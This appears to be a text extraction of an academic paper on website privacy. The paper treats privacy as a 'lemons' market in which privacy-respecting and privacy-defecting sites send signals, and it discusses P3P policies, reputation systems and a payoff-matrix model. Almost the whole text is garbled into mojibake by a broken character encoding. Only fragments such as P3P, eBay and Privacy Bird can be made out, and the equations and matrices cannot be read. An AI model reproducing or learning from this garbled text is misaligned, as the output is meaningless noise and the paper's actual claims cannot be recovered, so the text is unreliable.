óQàéäöÄê/ðæfê?ê/ðæfê-àäFâçÄÿ*,àvó0åæväFö%àí_âçùòævíháFâßöCîßZø¹ò/ïê.ßò
áFæfå/ê/ïævââç´ïíháFâßí_ßä}ê.ßö
ævââópàéåhóQævïåhïäópàvåíùæfê/ïàä#áFåævìdê/ïìdßòZô#õÁð%ßCáßZå`ìdßä}ê/æfãvß
îævòÄðïãð%ßZå.-0/}ÿ21=óQàvåùê/ð%ß
í_àò.ê_áUàváFéâæfåhîßZø
òïê.ßòZô
õÁð%ßZå/ß¹ðævö
øßZßä
ð%àváUß
ê/ðæfêVáå`ïñaævìdçàäNê/ð%ßÎïä}ê.ßZå`ä%ßZêVìdàéâö´øß_ïyíháå/à\ñvßöNê/ð%å/àé%ãð#ò.ßævâ¶áåàvãvåæví_ò
43
àvåÞ5fÞ)
ÿ
ÒúøFéê-ømçÓÿ* * *_ê/ð%ßò/ßáå/àvãvåævíùò?ðævöÓä%àvêÁò/ßZßä¹îÁïöߨævöàváê/ïàä6Xú(7Òô
ý?ßìdßämê/âçvúFð%à\îßZñvßZåúê/ðïä%ãò)æfå/ß5âàXàvûKïä%ã=é%áCópàvå-áå`ïñaævìdçùáå/àvê.ßìdê/ïàä*ô
'
ò/ïíùïÅë
âæfåò/ê/éö%çhê.àê/ð%ß)ºõå/ßZáUàvå/êîævò)ö%àä%ߨïäÄÿ* *ÿVøXç_ê/ð%ߨ޶åàvãvå/ßò/òæväöå/ßZßö%àí
%àéäöæfê/ïàä6
*Òô
õ?ðßÎò/é%åñvßZçNópàéäFöNê/ðæfêîßZø
ò/ïê.ßòæfå/ßÎìdàâyâßìdê/ïä%ãâßò/òVïyä%ópàvå/ë
í_æfê/ïàä*ú5ä%àvê/ïìdß´ïyòÓíhàvå/ßNáå/ßZñfævâßämêZúáFå/àí_ïä%ßämêÓæväöìdàíháFâßZê.ßvô8)ð%àïìdßNævâò.à
ïäìdå/ßævò.ßö:ú%îÁïê/ðÄê/ð%ß5áUßZåìdßämê/æfãvßàvó2ê/ð%ßí_àò.ê-áUàváFéâæfå)ò/ïê.ßò-àUßZåïäã=ìdàäFò/éíhßZåò
æÎì`ð%àïìdßæføUàé%ê9ò/ðæfåïyä%ã_ïä%óQàvåí_æfê/ïàä
îÁïê/ðÓê/ðFïåöÓáFæfåê/ïßò:9/éíháUßöCóQå/àí;7 7 ê.à
þ 5Äô<$
ïê/ðkê/ð%ßCïä}ê.åàXöéFìdê/ïàäNàvóÁÞ=5fÞAßäæføFâßö#øå/àîò.ßZåòZú Þ5fÞ
ævöàváê/ïàäkîævò
ãvå/àîÁïyä%ã.-
3
ïäCê/ð%ß5å`æväö%àíö%àí_ævïäÓæväFö¹ÿ
3
ïäÄê/ð%ßíhàò/ê-áàváséâæfå-ö%àí_ævïä1`ô
¨ä
ê/ðßVàvê/ð%ßZå¨ðæväö*úò/ïê.ßò9öïò.ásâæçKïä%ã_ò.ßævâyò?îßZå/ßò/ê/ïââ:æÎñvßZå/ç¹ò/í_ævâyâ:áå/àváUàvå/ê/ïàä
àvóê/ðßò/ïê.ßò>-
ÿ?1`ô
$Nßæfê.ê.ßí_áêÁê.àÎß@XáFâyævïäÓê/ð%ßò.ßê.å/ßäöòÁæväö
éäFö%ßZåò.ê/æväöCîð%ßZå/ßáå`ïñaævìdçÄáå/àfë
ê.ßìdê/ïàäÎæväFöhñXïàâæfê/ïàäò í_æçhãvàVïä=ó
é%ê/é%å/ßvôA
Çä_ò.ßìdê/ïàäB5Xú}îß?áå/ßò/ßä}êIæVò/ïíháFâyïCFßö
íhàXößâ2àvó áå`ïñaævìdç¹ævò9æÄâßíhàäò9í_æfå/ûvßZê9îÁïê/ð+ò/ïãäævâïyä%ã%ôD
'äò.ßìdê/ïàäE/%úîß=ìdàí=ë
ÿ
áFâïìZæfê.ß=ê/ð%ß_íhàKö%ßâøXç+ævööïyä%ãÄæCìdàò.ê5ê.àÓê/ðß_ìdàäò/éíhßZå5ê.à¹ò/ßæfåìð÷óQàvåæÓò/ïãäævâÒô
$NßìdàäìZâéFö%ß5îÁïê/ðÓöïyò/ìZéò/ò/ïàäùàvóºê/ð%ßVí_àXö%ßâ*æväFöÓóQéê/é%å/ß5öïå/ßìdê/ïàäòZô
F
GIHKJML×H¶ÚON
ÙØQP
R¶æfåïævä
ößsä%ßòTSÇáåïñaævìdç8åïãðmê/òVUNævòWSÇê/ðß¹åïãðmê_ä%àvêhê.à#øUßÓævää%à\çvßöXU#æväFöópàfë
ìZéò.ßò?àä+ævò/ò/ïãäFíhßä}êÁàvóáFå/àváUßZå/êçCåïãðmê/ò?ïä¹áåïñfævìdçÄævòæùíhßæväFò-ê.àùßò.ê/æføsâïò/ð¹æ
í_æfå/ûvßZê
ÒôY¨é%åîàvåû#ò/ð%à\îÁòVê/ðFæfêê/ðïyòVí_æfå/ûvßZêhí_æç#ä%àvêøUßùßÎìZïßämê=ïä´ê/ð%ß
áå/ßò.ßäìdßVàvóævò.çKí_íhßZê.å`ïì5ïä%óQàvåí_æfê/ïàä:ô
'
ìZèXéïò/ê/ï*ðævò?æhãvßä%ßZå`ævâ:öïò/ìZéFò/ò/ïàäÎàvóºßìdàä%àí_ïì5ïäFìdßä}ê/ïñvßò?ópàvåÁæväFö¹æfãævïäò.ê
áåïñfævìdç}ëÒßäFðæväìZïä%ãê.ßìðFä%àâàvãïßòZúò/éìðævòhæväàä}çKí_ïüïäã+îßZøáå/à@Kïßò4ZðïòáFæaë
áßZå+ævâò.àö%ßò/ìdå`ïøUßòÎîàvå/û
àä6ð%à\î
ïä%óQàvåí_æfê/ïàäò/ðæfåïäãkøUßZêîßZßä6ñvßäFö%àvåò¹ïä
ê/ð%ߨáå/ßò.ßäìdߨàvóæhò.ê.åæfê.ßZãïì5ìdàäòéíhßZå-âßævöò)äæfê/é%å`ævââçhê.à_æáåïñfævìdçmëÒáå/àvê.ßìdê/ïä%ã
å/ßZãïíhß,
ÿ
Òô?¨ä%ß=ß@%ævíháFâß=àvó)ò/éì`ðNò/ðæfåïäãÄïò9ê/ð%ßhîàvå/û+àä÷áåïñfævìdç
áUàâïìZïßòÁøXç
)ævâüZàâæfåï2æväö
Þºæñfævä*úïäÓîÁðïyìðÓøFéçvßZåò?æfå/ßVævâyâàîßö¹ê.àÄìð%àXàò.ßVøUßZêîßZßäæ_ìdàäKë
ê.åævìdê¶îÁð%àò/ß-ê.ßZåí_ò æfå/ß?ásé%øFâïì-
òðæfå/ßöîïê/ðhævââXñvßäö%àvåò[10àvå¶áåïñfæfê.ß,-
ò/ðæfåßö=àäâç
îÁïê/ðÓæ_ò/ïyä%ãâߨñvßäö%àvå[1ZFê/ð%ßZçÓò/ð%àîê/ðæfêÁïäCê/ðïyò-ìZævò.ßVøFéçvßZåò-ìð%àXàò.ßê/ð%ßæfááå/àfë
áåïæfê.ß5ìdàämê.åævìdê?ê.à_í_æ
@%ïí_ïüZß9ê/ð%ßïå)áå`ïñaævìdçQ
3
Òô¨é%å)îàvå/ûúïäÎìdàämê.åævò.êZúFópàKìZéò.ßò
àä¹ê/ð%ßïäópàvåíùæfê/ïàäÓæñfævïâæføFâß5ê.à_ê/ð%ßìdàäò/éFíhßZåÁæføUàé%ê-ê/ð%ßñvßäFö%àvåô
\
]
Ø:ÝV^DL-ÜA_`LDabL;c.HKdDÙ9Öeabf
L-ØQPHº×
õ?ð%ßWS.âßí_àäòVí_æfåûvßZêVU
î)ævòïyä}ê.å/àKöéìdßö´ømç
'
ûvßZåð%àvó?ævòævä´ß@%ævíháFâß_àvó?ævò/çXí=ë
íhßZê.åïìïä%óQàvåí_æfê/ïàäg
Òô
Çä¹ê/ð%ßàvåïãïäævâ2ß@Kæví_áFâßvúFøsé%çvßZåò9æväö
ò.ßâyâßZåò?ê.å`ævö%ßïä
æ
í_æfå/ûvßZêîÁïê/ð#êîà+êçmáUßòVàvó?ìZæfåòhTSÇãvàmàKöXUìZæfåòZúîàvåê/ðkæ+ðïãð#æví_àéä}êZú æväö
S.âßíhàäòVUîàvå/ê/ð8å/ßâæfê/ïñvßâç#âïê.ê/âßvôTi)é%çvßZåòhæfåßCéFäæføFâßÎê.à÷öFïò.ê/ïä%ãéFïò/ð´æãvàXàXö
ìZæfåóQå/àí
æ+âßíhàäNøUßZóQàvå/ß_øFéçXïäã%ú0æväö#ê/ð%ßZå/ßZóQàvå/ß_îÁïâyâºàßZå=âßò/òVê/ðævä´ê/ð%ßùóQéâyâ
áåïìdßàvó:æ.SÇãvàXàXöXUìZæfå)ê.àà*ò.ßZêê/ð%ßì`ðæväìdß9àvó:øFé%çKïä%ãæâßíhàä:ô
'
òæå/ßò/éFâêZúmä%à
àîÁä%ßZåàvóæ_ãvàmàKö¹ìZæfåÁßâßìdê/ò?ê.àùò.ßâyâjZKê/ð%ßVí_æfå/ûvßZêïòlkFàXàXößöCîÁïê/ðÓâßíhàäFòZô
õ2à÷øUßZãïä#îÁïê/ð*úºîßCìZævä8ê/ðïyä%û÷àvóÁæ÷ìdàäò/éíhßZå=ìðàmàò/ïyä%ãæví_àä%ã+îßZøò/ïê.ßò
ê/ðæfê-í_æç_åßò.áUßìdêð%ßZåáåïñaævìdçm-S.ý?ßò/áßìdê/ïyä%ãU=ò/ïê.ßò1¶àvåíùæçÎäàvê)-Son9ßZópßìdê/ïyä%ãU,1
îÁïê/ð¹ä%àhî)æçÓê.àÎö%ßZê.ßZåí_ïäß5øßZóQàvå/ßðæväFöCîÁðïì`ðÓïò-îÁðïyìð*ô¶õ?ðßäCáåïñfævìdçÄïyäCîßZø
ò/ïê.ßòhâàXàvûXò=âïûvßÎê/ð%ßÓâßí_àäòíùæfå/ûvßZêZô
'
òhæå/ßò/éâêZú îßCîàéFâö#ß@KáUßìdê_ævââîßZø
ò/ïê.ßò-ê.àùäàvê?å/ßò.áUßìdê-áåïñaævìdçvô
'ä8ê/ð%ßCìdàämê.ß@Xê_àvóÁîßZøò/ïê.ßòú îßÓìZæväí_æfûvßCê/ðïòíhàvå/ßCóQàvåí_ævâævò=ópàâyâàîÁòô
é%ááUàò.ßîßZø÷ò/ïê.ßò?ó
ævââ0ïä}ê.àÎêîàÓìZæfê.ßZãvàvåïßòh?ýÁßò.áUßìdê/ïä%ã%-
ý)1?ò/ïê.ßòê/ðæfê¨ö%àÎä%àvê
ò.ßââXáåïñfæfê.ß)ïä%óQàvåí_æfê/ïàäæväöpn9ßZópßìdê/ïyä%ã%-qn+1ºò/ïê.ßòê/ðæfê¶ö%à¨ò.ßââKò/éFìð=ïä%óQàvåí_æfê/ïàä:ô
'
ìZéò.ê.àíhßZå?íùæçùì`ð%àmàò/ß9ê.à=øFéçhàvå)äàvêøFéçhîÁïê/ðùæ=ò/ïê.ßvôr
'ó:ê/ð%ߨìZéò.ê.àí_ßZåøsé%çXò
ópå/àí"æýÁßò.áUßìdê/ïä%ãò/ïê.ßvú¨ïêCãævïäòtsÄôu
óïêCøFé%çKòÄópå/àí"ævn9ßZóQßìdê/ïä%ãò/ïê.ßvú¨ïê
5
àvøê/ævïäò)sxw#y_úsîð%ßZå/ßeyïò?ê/ð%ß=ìdàò.ê9ê.àÎê/ðßìZéò/ê.àíhßZåàvóæ_áåïñaævìdçÓñKïàâæfê/ïàä:ô
õ?ð%ß5å/ßò/éFâê/ïä%ã=áFæçvàNíùæfê.åïC@Óïò
z{
|+}~o}4[~
}Q}[~
s(
~
s
swgy
B }~Q
*
*
]
Ø:ÝV^DL-ÜA_ÝV9ÖeLJVa
õ?ð%ß)âßíhàäòºí_æfå/ûvßZêºóQàvå áåïñfævìdçíhàvê/ïñfæfê.ßò ê/ð%ß)ïämê.å/àKöéìdê/ïàäàvóáåïñaævìdçp[C(`ô
%àvåïyäò.ê/æväìdßvú2æ¹îßZø8ò/ïê.ß_í_æç÷ævöàváêVæ¹ò.ê.å`ïìdê5áåïñfævìdç
áUàâïyìdç
ê.à
ö%ßí_àäò.ê.åæfê.ß
ïê/ò¹ìdàí_í_ïê/íhßä}êÓê.à
ûvßZßZáFïä%ãìZéò/ê.àíhßZå+ïäópàvåíùæfê/ïàä
áåïñfæfê.ßvô
'
âê.ßZåäæfê/ïñvßâçvú
îßZø
ò/ïê.ßòÎí_æçævìZèXéïå/ß
å/ßZáFé%ê/æfê/ïàäFò_ìdàäìdßZåäïyä%ã´ê/ð%ßïåÎðæväöâïyä%ã÷àvóìZéò.ê.àíhßZå
ïä%óQàvåí_æfê/ïàä*ô#
Çäãvßä%ßZåævâÒúæ´òïãäævâ-ïòhæ´í_ßæväòhøXçkîÁðFïìð
áå`ïñaævìdçmëÒå/ßò.áUßìdê/ïäã
ò/ïê.ßò ìZævä_öïßZå/ßämê/ïæfê.ß-ê/ð%ßíùò.ßâñvßòºóQå/àíAê/ð%ßïå¶ä%àä%ëÒå/ßò.áUßìdê/ïä%ã¨ìdàíháUßZê/ïê.àvåòZôA$Nß
îÁïââmö%ßò/ìdåïøUßópàvåíùævââçð%à\î8ê/ðßò.ß-ò/ïãäævâò0îàvå/ûsúmöïò/ìZéòò2ò.àíhß-ìZæväöFïöæfê.ß)ò/ïãäævâò
ïäNê/ð%ßhîßZøkò/ïê.ßháåïñfævìdçíùæfå/ûvßZêZúæväFöNê/ð%ßä´ò/ðàî
ðàî
ò/ðàvå/ê/ìdàí_ïä%ãòVïäNê/ð%ßò.ß
ìZæväöïöæfê.ß¹òïãäævâò=íhàvê/ïñfæfê.ßÓàé%å_íhà\ñvß
æî)æç
óQå/àí
ò/ïãäFævâòê.à´æNí_æfå/ûvßZêhîÁïê/ð
ê.ßò.ê/ïä%ã%ô
ïãäævâyâïä%ãùïyòîßââò.ê/éöïßö+ïäê/ð%ßhìdàämê.ß@Xê5àvóæCâßíhàäò¨í_æfå/ûvßZêhZïó¶æCò/ïãäævâ
ïòÁâà\îìdàò/êÁóQàvåBSÇãvàXàXö%U_áFâæçvßZåò9æväö
ðïãð
ìdàò.êópàvåS.âßíhàäXUùáFâæçvßZåòZúFê/ðßä
ìdàäKë
ò/éíhßZåòìZæväÎå/ßâïæføFâçéò/ßÁê/ð%ߨò/ïãäævâFê.àò/ßZáFæfåæfê.ß9ãvàmàKöùásâæçvßZåòóQå/àí
âßíhàäò
/ Òô
'
ò/òéí_ïä%ã¨ê/ðæfêò/éìðÎæ5ò/ïãäævâß@Kïò/ê/òZúîßÁìZæväùò/ðàî
æò/ßZáFæfåæfê/ïàäÎïä=ê/ð%ß?îßZøùò/ïê.ß
áåïñfævìdçÄíùæfå/ûvßZêZô
$NßZø#ò/ïê.ßò¨ä%à\î
óQævâyâ0ó
ævââïämê.àÄóQàé%å5ìZâævò/ò/ßòh9ýÁßò.áUßìdê/ïä%ãÄîÁð%àCö%àÓä%àvê5ò/ïãäævâÒú
ý?ßò.áUßìdê/ïä%ãhîð%à_ö%à_ò/ïãäFævâxúXn9ßZópßìdê/ïäã_îÁð%à_ö%à_äàvêÁò/ïãäævâÒúKæväFömn9ßZópßìdê/ïäãùò/ïê.ßò
îÁð%àköà8ò/ïãäævâxôbàäòéíhßZåòÎä%àî
óQævâyâÁïämê.àkê/ðå/ßZß+ìZâævòò.ßòhi)é%çóQå/àí4æ8ò/ïê.ßvú
nàä
êVøFé%çóQå/àíDæ¹ò/ïê.ßvú:¨äFâç
øFéç+óQå/àíDæ¹òïê.ß_ê/ðæfêáFå/ßò.ßämê/òê/ð%ßùòïãäævâºê/ðæfê
ê/ð%ßZçCópàââàîó
ævïåÁïä%óQàvåí_æfê/ïàäCáåævìdê/ïìdßòZô
s¢¡Aê/ð%ßøUßä%ßFê)ê/ð%ßVìdàäFò/éíhßZå?ãvßZê/òÁópåàí
æhê.åæväòævìdê/ïàä
yu¡Aê/ð%ßìdàò.êÁóQàvå?ê/ð%ßìdàäò/éíhßZå-àvó ðæñXïyä%ãhê/ð%ßïå-áå`ïñaævìdçÄñKïàâæfê.ßö
£u¡ê/ð%ß5øUßä%ßsê-ê/ð%ß&FåíãvßZê/òópåàíê/ð%ß5ê.åæväòævìdê/ïàä
¤Q¥§¦¤ ¨
¡
ê/ð%ß?ìdàò.ê¶ê.àê/ðß?å/ßò.áUßìdê.ó
éâXàvåIö%ßZóQßìdê/ïä%ã&FåíAê.àò.ßäöhê/ð%ß?òïãäævâKãéæfå.ë
ævä}ê.ßZßïäã_áåïñfævìdç
©¡ê/ðßøUßä%ßFê-ê/ð%ßsåíãvßZê/òÁóQå/àí
ò/ßââïä%ã=ê/ð%ßìdàäò/éíhßZå
ò-áUßZåò.àäævâ*ïäópàvåíùæaë
ê/ïàä*ô
õ?ð%ß5áFæçvà#í_æfê.åïC@Óïò)ê/ð%ßä
/
zª
ª
{
|+}~V}4[o~
w«
¤
|+}~V}4[o~
w
¤
}Q}[~
wW«
¤
}Q}o~
w
¤
s%
~
s
¦
£
s
¦
£¬w
¤Q¥
swgy
¦
£®g©
sbwgy
¦
£¯#©>w
¤Q¨
}~4
*
¦
*
*
¦
w
¤Q¥
*
¦
*
*
¦
w
¤Q¨
s%
~
¤r°²±
³µ´
*
¦
*
s
¦
£¬w
¤Q¥
*
¦
*
sbwgy
¦
£¯#©>w
¤Q¨
h¶
¶
"
à\î
ê/ð%ßhåæfê/ïàäævâºìð%àïìdßùàvóIßævìð´áFâæçvßZåö%ßZáUßäöòàä÷ê/ð%ßhå/ßâæfê/ïàäFò/ðïá+øßdë
êîßZßä
¤Q¥
ú6£hú:æväö
¤Q¨
wg©Fô
'
n9ßZópßìdê/ïyä%ã¹ò/ïê.ß=îÁïâyâ0ò.ßäFö+ê/ðß_ò/ïãäævâàäâç+ïóïê/ò
ìdàò.êóQàvåö%àïä%ãÓò.àÓïò5âßòò¨ê/ðævä÷ê/ð%ßhøUßä%ßFê¨ïê¨ãævïäò¨óQå/àí
ê/ð%ßhê.åæväFò/ævìdê/ïàä´æväö
ópå/àíò/ßââïä%ãê/ð%ß5ìdàäò/éí_ßZå4
ò)áåïñfæfê.ߨïä%óQàvåí_æfê/ïàä*ô:%àvå`í_ævââçvú%ïó6£¸·
¤
¨
wY©úæ
nßZóQßìdê/ïä%ãÎò/ïê.ߨîÁïââä%àvê-ò.ßäöCê/ðߨòïãäævâxô
'
ý?ßò.áUßìdê/ïä%ãhò/ïê.ßvúKïyäÎê/éåä*úKîÁïââò.ßäö
ê/ð%ßÄòïãäævâïó?ïê/òìdàò.ê=àvóÁö%àïä%ãò.à÷ïòâßò/òê/ðævä#ê/ðßÎøUßä%ßFê=ïêãævïäòópå/àíê/ð%ß
ê.åæväò/ævìdê/ïàä:úàvå&£u¹
¤Q¥
ôõ?ð%ßZå/ßZóQàvå/ßvúUïó
¤Q¥
·¬£u·
¤Q¨
wº©Fúsê/ðßä+ævââ0æväö+àäâç
ê/ð%ߨå/ßò.áUßìdê/ïä%ãîßZøÓò/ïê.ßòîÁïyââFò.ßäFöùê/ð%ß5ò/ïãäævâxúmæväFöÎê/ðß9å`æfê/ïàäævâìdàäò/éíhßZå)îÁïyââ
àäâç
í_æfûvß=ê.åæväFò/ævìdê/ïàäò¨îÁïê/ð
ê/ð%ßò/ß=òïãäævââïyä%ãhîßZøNò/ïê.ßòZôõ?ðïò9ïòê/ð%ßhö%ßò/ïåßö
ò.ßZáFæfåæfê/ïàä#àvó)ê/ð%ß_í_æfå/ûvßZêZôCõ?ð%ß_ò.ßZásæfåæfê/ïàä´åßèméïå/ßò¨ê/ðæfêê/ð%ßÎò/ïãäævâºøUß_ðïãð
ìdàò.ê-ópàvåDn9ßZóQßìdê/ïä%ãhò/ïê.ßò)æväöÄâàîìdàò.ê-óQàvå-ý?ßò.áUßìdê/ïäãò/ïê.ßòZúXïÒô
ßvô
¤Q¨
w
¤Q¥
íéò.ê
øßæfêâßævò.ê©Fô
n9à=òïãäævâòIîÁïê/ðùðFïãðùìdàò.êóQàvå=n9ßZóQßìdê/ïä%ã=ò/ïê.ßòæväöÎâàî
ìdàò.êóQàvå-ý?ßò.áUßìdê/ïäã
ò/ïê.ßò:ß@%ïò.ê0ïä5ê/ð%ßå/ßævâîàvåâö(ÎÞIåïñfævìdç9áUàâïyìZïßò*æfå/ßIê/ðßIíhàò.ê0àvømñKïàéò:ìZæväFöïöæfê.ßò
ópàvå¹ò/éFìð
æ
ò/ïãäævâxôAõ?ð%ßå/ßìdßämê¹Þ5fÞò.ê/æväFöæfåö
áå/à\ñXïößòÄækî)æç
ópàvåÓò/ïê.ßòÄê.à
íhßìðæväFïìZævââçùìdàKöïóQçháåïñaævìdçháUàâïìZïßò
ÿ
ÒôK»9ò.ßZå-ïämê.ßZå/ó
ævìdßò-ò/éìðÄævò)ê/ð%ß
'
õ¼5õ
Þ5fÞÞ¶åïñaævìdç#i)ïåöãïñvßìZéò.ê.àíhßZå`òùßævò.çî)æçKòÎê.à#ê.ßââ-îð%ßZê/ð%ßZåÎækò/ïê.ß
òÎÞ5fÞ
áàâyïìdçÄíùæfê/ìð%ßòê/ð%ßïåÁïyäöïñKïöéævâFáå/ßZóQßZå/ßäìdßò5
Òô
ÇíháFâßíhßä}ê/ïyä%ãhæùÞ5fÞ
áUàâïìdç
ìdàò.ê/òÁæ_òïãäïCsìZævämê-ævíhàéämê?àvóê/ïíhßæväöÓßUàvå/êZúFößíhàäò.ê.åæfê/ïyä%ã_æ_ìdàí_í_ïê/íhßä}ê
àä¹ê/ð%ß5áFæfåê-àvóê/ðß5îßZøò/ïê.ß5ê.à_áå`ïñaævìdçvô
'
ê¶ê/ð%ß?ò/æví_ß-ê/ïíhßvúå/ßâçXïäã9àä=áFåïñfævìdçVáUàâïìZïßòºævâàäß?ïòºáå/àvøFâßí_æfê/ïìfô6$
ðæfê
áå/ßZñvßämê/òæò/ïê.ß?óQå/àí
áFé%øFâyïìZïüïä%ã¨æVò/ê.åïìdê¶áUàâïìdç=øFéê¶ê/ð%ßä_åßä%ßZãïä%ãàäÎê/ð%ßáàâë
ïìdç¹æväöò.ßââïäã_ïä%óQàvåí_æfê/ïà乿vämçXîæç½8Þé%êævä%àvê/ðßZåî)æçvúUîÁð%ßZåßö%àXßòÁê/ðßìdàò.ê
öïCUßZå/ßä}ê/ïyævâ¶øUßZêîßZßäkýÁßò.áUßìdê/ïä%ãæväöWn9ßZóQßìdê/ïä%ã÷ò/ïê.ßòìdàíhßÎóQå/àí
ópàvåáåïñfævìdç
áàâyïìZïßò¾¨ä%ßhæväò.îßZå5í_æç÷âïßïäê/ð%ßhâßZãævâ æväöáFé%øFâyïì5å/ßâæfê/ïàäò9ß@XáUàò/é%åßê.à
æBn9ßZóQßìdê/ïä%ã¹ò/ïê.ßê/ðæfê5ìdàââßìdê/ò5ïä%óQàvåí_æfê/ïàäö%ßò.áFïê.ßê/ð%ß=áåßò.ßäìdßàvóæÄáåïñfævìdç
áàâyïìdçvô%àvå¨ß@Kæví_áFâßvúUý?ßævâ
"
ßZêîàvå/ûKò5ò/é¿UßZå/ßö
áFé%øFâïyì5ìdåïê/ïìZïòíîÁð%ßäïê/òÁò/àvópêÇë
îæfå/ßÄî)ævòVóQàéäö#ê.à+ãæfê/ð%ßZå=æväökå/ßZáUàvå/êVïäópàvåíùæfê/ïàä6
Òô.»9ä%óQàvå/ê/éäæfê.ßâçvúê/ðïò
ò.àvå/êºàvósöïyò/ìdàñvßZå/çðæfááUßäò0åæfå/ßâçvúæväFöíùæçäàvêáFå/àñKïö%ßßä%àé%ãð=àvósævä=ïäFìdßä}ê/ïñvß
æfãævïäò.ê?ñKïàâæfê/ïyä%ã=ê/ð%ßáUàâïìdçvô
ý?ßZáFéê/æfê/ïàäòhàUßZåÎæ÷áUàvê.ßämê/ïævâ-ævâê.ßZåäæfê/ïñvßvô
õ?ð%ßZå/ßÓïò=ßí_áFïåïìZævâßZñKïö%ßäìdß
ê/ðæfêÎåßZáFé%ê/æfê/ïàäòùìZævä
îàvå/ûïä
ßâßìdê.å/àäïì
ìdàí_íhßZåìdßê.à8öFïCßZåßä}ê/ïæfê.ß+ò.ßââßZåòô
3
ý?ßò/äïyì/ûúµÀßì/ûKðævéò.ßZåú
îæväFò.àä*úvæväöeÁ:àKì/ûXîàXàKöòð%àî
ê/ðæfêºå/ßZáFéê/æfê/ïàäVàäß4i)æç
ö%àmßòÁâßævö¹ìdàäò/éFíhßZåò)ê.à_áFæçÓæv乿ñvßZåæfãvßàvóK7môÂðïãðßZå-áåïìdßò)ê.àùò/ßââßZåòîÁïê/ð
ðïãð+å/ßZáFé%ê/æfê/ïàäà\ñvßZåàvê/ð%ßZåò9îÁïê/ðâà\îåßZáFé%ê/æfê/ïàäò
5Òô&ÃIæví_æfãïìðFï æväöYÄ+æfêÇë
ò/éöækò/ð%àî
ß@KáßZå`ïíhßämê/ævââç
ê/ðæfêùåßZáFé%ê/æfê/ïàä
ìZævä
ævââßZñKïæfê.ß+æ8âßíhàäòÎí_æfå/ûvßZê
7ÒôE»9ä%óQàvå/ê/éäæfê.ßâçvúºéFäâïûvß_ß4i)æçvúIä%à÷ìdßä}ê.åævâyïüZßö*úºàvópê.ßä%ëé%á*öæfê.ßö#åßZáàòïê.àvå/ç
àvóîßZøhò/ïê.ßáå`ïñaævìdç5åßZáFé%ê/æfê/ïàäò0ß@%ïò.ê/òZôr$Nß-ìZævää%àvêºö%ßZáUßäöàä=æ9ìZéò.ê.àíhßZå ðæñ}ë
ïä%ãÓûKä%àîÁâßö%ãvßhàvóê/ðßhîßZø#òïê.ß
ò5áå/ßZñKïàéò5ævìdê/ïàäòZú:àvåßZñvßäNàvê/ð%ßZåìZéFò.ê.àíhßZå4
ò
å/ßZáUàvå/ê/ò-àvóê/ð%ßîßZø
ò/ïê.ß
òævìdê/ïàäòZô
õ?ð%ßò.ß_ïyò/ò/é%ßò¨ìZævéò.ß_éFòê.à
ê/æfûvßùæCöïCUßZå/ßä}ê5æfááFå/àævìð*ôe
Çäò.ê.ßævö÷àvóópàKìZéò/ïäã
àäê/ð%ß¹öïCUßZå/ßäìdß¹ïyä8ìdàò/ê_ê.à´ê/ð%ßÓîßZø
ò/ïê.ßò_àvó9ò.ßäFöïä%ã÷æNò/ïãäævâÒúIîß¹ò/é%ãvãvßò.ê
ópàKìZéò/ïäãkàä
ê/ð%ßNìdàò.êÓê.à
ê/ð%ßNìdàäò/éFíhßZåCàvó2ÅÇÆ[Åqȵ
îÁðßZê/ð%ßZåCê/ð%ß÷îßZø6ò/ïê.ßïò
áåïñfævìdç}ëÒåßò.áUßìdê/ïä%ã%ôùõ?ðßhå/ßò/éâê/ïyä%ãCáåïñfævìdç+í_æfåûvßZêVîÁïê/ð÷ê.ßò/ê/ïä%ã
ïòê/ð%ß_óQàXìZéò
àvóê/ðßä%ß@Xêò.ßìdê/ïàä*ô
É
Ê<H§a×*ÝÖeÝÖ4×ËeHÌcmHKdDÙ9Öeaxf
L-ØQPHº×
ͶñvßäïóXæ?îßZøò/ïê.ßIðævò0æ?áå`ïñaævìdç9áUàâïìdçvú\ê/ð%ß¶áUàâïìdç¨í_æç5ä%àvê0óQéFäìdê/ïàä5ævòæ?ò/ïãäævâ
øßìZævéFò.ßïê9ïò9ä%àvê9å/ßævö*ô¨ÞßZàváFâßñaævâéßê/ð%ßïåÁê/ïíhß=æväö+ßàvåêZú:æväö+æfåß=éFäâïûvßâç
ê.àÎò.áUßäöÓê/ïyíhßsäöFïä%ã=àvåÁå/ßævöFïä%ãùïäópàvåíùæfê/ïàäCê/ðæfêïyò-øUàvåïä%ãhàvå9ìdàä%óQéFò/ïä%ãhê.à
ê/ð%ßíÓúîÁðßäCê/ð%ßZå/ßVæfå/ßí_ævä}çÄàvê/ð%ßZå9íhàvå/ß5ßämê.ßZå/ê/ævïäïäãhàváê/ïàäòZô
'ä
ãvßäßZåævâxú9ê/ð%ß÷àvááUàvå/ê/éäïêçìdàò.êÓàvó=ìdàââßìdê/ïä%ã
ò/ïãäFævâòCïòCðïãð%ßZåCàäâïyä%ß
ê/ðæväCïä_ê/ð%ß9áFðmçXòïìZævâîàvåâö*úKæväöÄævò)æìdàäòéíhßZåáFæfå/ê/ïìZïásæfê.ßòïäÎí_ævämç_àvó:ê/ð%ßò.ß
ê.åæväò/ævìdê/ïàäFòZúºê/ð%ßZç´æfå/ßùßZñvßä8âßò/òâïûvßâçê.àîævämêVê.àå/ßZáUßæfêVò/éì`ðkí_àä%àvê.àä%àéò
æväö=ópå`éò.ê.åæfê/ïäã9ævìdê/ïàäFòZôýÁßâæfê/ïñvß-ê.à5ê/ð%ß-ò/íùævââKò/ìZævâß)àvóí_àò.ê ïä}ê.ßZå`ä%ßöê.åæväò/ævìnë
ê/ïàäòZúKò/éì`ðÄævòøFéçXïäãVæøàXàvûhàvå-ò/ïíhásâç=ñXïòïê/ïä%ãVæîßZøCòïê.ßvúXìdàí_áå/ßð%ßäöFïä%ãæ
áåïñfævìdçùáUàâïìdçÎïò)íéì`ð¹âßò/ò)ævìZìdßZáê/æføsâßê/ðæväCîÁðßäÎøsé%çXïyä%ãæhðàéò.ߨàvå-ãvßZê.ê/ïä%ã
ò/ïãäïCìZævä}êÁí_ßöïìZævâ0ê.å/ßæfê/íhßämêZô
ïí_áFâçÄáFé%êh-ïäÓê/ð%ßê/ïíhßçvàé+ìdàéFâö
åßævö+æväö
ìð%ßìû
'
í_æfüZàä*ô
ìdàít
ò=áFåïñfævìdçáUàâïyìdçvúçvàé
ìdàéâyö#ö%åïñvßùê.àTi)æfåä%ßòæväö
"
àvøFâß
æväöÓøFé%çÎê/ð%ßøUàXàvûsô
à´ê.à8ævööævä
ævò/áßìdêùê.à´ê/ð%ß¹ê.åævöFïê/ïàäævâpS.ò/ïãäævâÎU´íhàKö%ßâ)àvó¨ê/ð%ß.Á2ßíhàäò
